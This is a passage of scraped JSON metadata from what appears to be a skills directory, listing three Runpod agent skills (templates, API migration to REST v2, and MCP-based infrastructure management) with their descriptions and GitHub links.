on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]